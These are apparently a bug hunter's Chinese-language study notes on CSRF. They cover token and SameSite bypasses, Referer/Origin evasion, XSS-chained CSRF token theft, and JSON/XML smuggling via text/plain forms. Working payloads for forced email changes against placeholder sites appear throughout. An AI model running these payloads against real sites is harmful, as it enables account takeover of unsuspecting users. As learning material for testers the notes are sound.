CSRF
检查bp靶场
- 无法手动设置或控制 XMLhttprequest 中的 Origin: 标头;origin: 是自动设置的
浏览器自动携带cookie;http基本认证;基于证书的认证
<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">
CSRF token;SameSite Cookie(2021 年起,Chrome 默认实施 Lax SameSite 限制);基于 Referer 的验证(还不如CSRF token效果好)
POST切GET绕过CSRF token
删除CSRF token已绕过CSRF token
CSRF token与用户会话无关
CSRF 令牌与非会话 cookie 绑定
CSRF token从cookie复制
SameSite Cookie:同站与同源请分开谈
Strict 浏览器将不会在任何跨站点请求中发送
Lax(没设置时,Chrome 默认 Lax 值。) 限制cookie跨站(请求使用 GET 方法;请求由用户的顶级导航产生,例如单击链接。)
cookie 不包含在后台请求中,例如由脚本、iframe 或对图像和其他资源的引用发起的请求。(比如:<img src="vuln.com/update"> 不含cookie了)
None 完全禁用 SameSite 功能;网站还必须包含 Secure 属性,以确保 cookie 仅通过 HTTPS 在加密消息中发送。
使用 GET 请求绕过 SameSite Lax 限制(包括框架中的方法路由GET URL?_method=POST
)
使用站内小工具绕过 SameSite 限制:同一站点内产生二次请求的小工具(最重要的是,这是一个同站点请求,包含与站点相关的所有 cookie,无论存在何种限制);服务器端重定向无法进行等效攻击,浏览器会识别出遵循重定向的SameSite。
通过易受攻击的子域绕过 SameSite 限制
针对 WebSocket 的 CSRF 攻击:cross-site WebSocket hijacking (CSWSH)
使用新发的 Cookie 绕过 SameSite Lax 限制:为了避免破坏单点登录 (SSO) 机制,它实际上不会在顶级 POST 请求的前 120 秒内强制执行这些限制。因此,在两分钟的时间内,用户可能容易受到跨站点攻击。此两分钟窗口不适用于使用 SameSite=Lax 属性明确设置的 cookie。(找到强制向受害者发出新会话 cookie 的小工具,可以在进行主要攻击之前先刷新他们的 cookie。)浏览器会阻止弹出窗口打开,除非它们是由手动用户交互(例如点击),可以使用全局事件处理程序创建弹出窗口window.onclick
Referer 的验证取决于是否存在标头:<meta name="referrer" content="never">
规避Referer 验证:http://vulnerable-website.com.attacker-website.com/csrf-attack
;为了降低敏感数据以这种方式泄露的风险,许多浏览器现在默认从 Referer 标头中删除查询字符串(VPS设置 Referrer-Policy: unsafe-url
)。
- 联动XSS偷CSRF token
document.getElementsByName('csrf-token')[0].content
bp自带
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
偷CSRF token(说明一下:CSRF token防御了CSRF漏洞,示例中的bypass不行就是没有CSRF的旁路,所以这里的利用属于XSS漏洞),你可以连接XSS和CSRF提升漏洞影响力
<script>
const url = '/settings/email';
const csrftoken = document.getElementsByName('csrf-token')[0].content;
const requestData = '_method=PATCH&email=user1hack%40user1hack.com';
fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Csrf-Token': csrftoken
},
body: requestData
})
.then(data => {
console.log('Response:', data); // 输出响应数据
})
.catch(error => {
console.error('Error:', error); // 捕获和处理异常
});
</script>
检查:https://www.bugbountyhunter.com/vulnerability/?type=csrf
CSRF token(说白了是无法预测的值和用户会话进行绑定,至于这个无法预测的值在http头还是参数提交,目的都是一起传到服务器来检查这个无法预测的值和用户会话是否绑定。)
- 点击劫持
- 将请求从 POST 更改为 GET(反之亦然)
JSON & XML payload 的 CSRF
- xml CSRF payload (注意name值)
<html>
<body>
<form ENCTYPE="text/plain" action="http://vulnsite.com/snip/snippet.php" method="post">
<input type="hidden" name="<foo> <html xmlns:html='http://www.w3.org/1999/xhtml'> <html:script>alert(1);</html:script> </html> </foo>">
<input type="submit" value="submit"> </form>
</body>
</html>
- JSON (smuggling =,=走私;在email 参数中
value='@gmail.com'
走私=。已 parametername=parametervalue 的方式工作)
{"参数1":"值1","参数2":[值21,值22,值23]}
它应该始终以 } 结尾来关闭 JSON payload。所以不能使用 }= 而是直接使用 =来进行尝试,使得json数据无法闭合
<html>
<body>
<form ENCTYPE="text/plain" action="http://vulnsite.com/snip/snippet.php" method="post">
<input type="hidden" name="{"params":{"limit":20,"and":false,"filters":[],"excluded_contacts":[]},"fields":["First Name","Last Name","Email Address","Title","Notes","Organization","Street","City","State","Tags","Zip Code","Phone Number","Gender","Event ID","Event Title","VIP","Twitter Handle","Twitter URL","Twitter Followers","Twitter Following","Facebook Name","Facebook URL","Facebook Friends","Instagram Handle","Instagram URL","Instagram Followers","Instagram Following","Website","Date Added","Unsubscribed"],"recipient":"myemail+2" value='@gmail.com'>
<input type="submit" value="submit"> </form>
</body>
</html>
- 通过 referer/origin 进行 CSRF 保护
https://www.yoursite.com/https://www.theirsite.com/ 有些网站只检查是否包含他们的网址,这代表可以在我们的网站上创建一个文件/文件夹来发送 CSRF 请求。
发送空白的 referer 在 iframe 内提交表单实际上会给你一个空白的 referer,有时这足以绕过他们的保护。这是因为一些开发人员正在检查 referrer 标头是否找到,然后执行反 csrf 代码。如果没有找到 referer,则不会执行任何代码。这就是你在搜索时可以发现不良编码实践的地方。
<iframe src='data:text/html,<html><form action="/login.php" method="POST">
<input type="text" name="user" value="zseano">
<input type="submit">
</form>'></iframe>
提交空白来源和空白引用(blank origin & blank referer) 这仅适用于 Firefox,但如果使用 base64 编码上述表单,然后将其提交到 iframe 中,则 Origin 标头将设置为空,有时甚至根本不发送。有些网站只会检查标头是否存在
<iframe src=data:text/html;base64,PGh0bWw+CiAgICAgPGJvZHk+CiAgICAgICAgPGZvcm0gRU5DVFlQRT0idGV4dC9wbGFpbiIgYWN0aW9uPSJodHRwOi8vdnVsbnNpdGUuY29tL3NuaXAvc25pcHBldC5waHAiIG1ldGhvZD0icG9zdCI+IAogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InsicGFyYW1zIjp7ImxpbWl0IjoyMCwiYW5kIjpmYWxzZSwiZmlsdGVycyI6W10sImV4Y2x1ZGVkX2NvbnRhY3RzIjpbXX0sImZpZWxkcyI6WyJGaXJzdCBOYW1lIiwiTGFzdCBOYW1lIiwiRW1haWwgQWRkcmVzcyIsIlRpdGxlIiwiTm90ZXMiLCJPcmdhbml6YXRpb24iLCJTdHJlZXQiLCJDaXR5IiwiU3RhdGUiLCJUYWdzIiwiWmlwIENvZGUiLCJQaG9uZSBOdW1iZXIiLCJHZW5kZXIiLCJFdmVudCBJRCIsIkV2ZW50IFRpdGxlIiwiVklQIiwiVHdpdHRlciBIYW5kbGUiLCJUd2l0dGVyIFVSTCIsIlR3aXR0ZXIgRm9sbG93ZXJzIiwiVHdpdHRlciBGb2xsb3dpbmciLCJGYWNlYm9vayBOYW1lIiwiRmFjZWJvb2sgVVJMIiwiRmFjZWJvb2sgRnJpZW5kcyIsIkluc3RhZ3JhbSBIYW5kbGUiLCJJbnN0YWdyYW0gVVJMIiwiSW5zdGFncmFtIEZvbGxvd2VycyIsIkluc3RhZ3JhbSBGb2xsb3dpbmciLCJXZWJzaXRlIiwiRGF0ZSBBZGRlZCIsIlVuc3Vic2NyaWJlZCJdLCJyZWNpcGllbnQiOiJteWVtYWlsKzIiIHZhbHVlPSdAZ21haWwuY29tJz4KICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9InN1Ym1pdCI+IDwvZm9ybT4KICAgICA8L2JvZHk+CiAgPC9odG1sPg==>
- JSON请求
<script>
// 定义 GraphQL 查询字符串
const query = `
mutation
{
updateUser(id: "1",email:
"user1@user1.com")
{
id
}
}
`;
// 使用 fetch API 发送 POST 请求
fetch('https://url/graphql', {
method: 'POST', // 使用 POST 方法
headers: {
'Content-Type': 'application/json', // 设置内容类型为 JSON
// 如果你的 GraphQL 服务器需要身份验证,可以在这里添加 Authorization 头
// 'Authorization': 'Bearer YOUR_TOKEN',
},
body: JSON.stringify({ query }), // 将查询字符串包装在 JSON 对象中并转换为字符串
})
.then(response => response.json()) // 解析响应为 JSON
.then(data => {
console.log('Success:', data); // 在控制台打印成功响应
})
.catch((error) => {
console.error('Error:', error); // 在控制台打印错误
});
</script>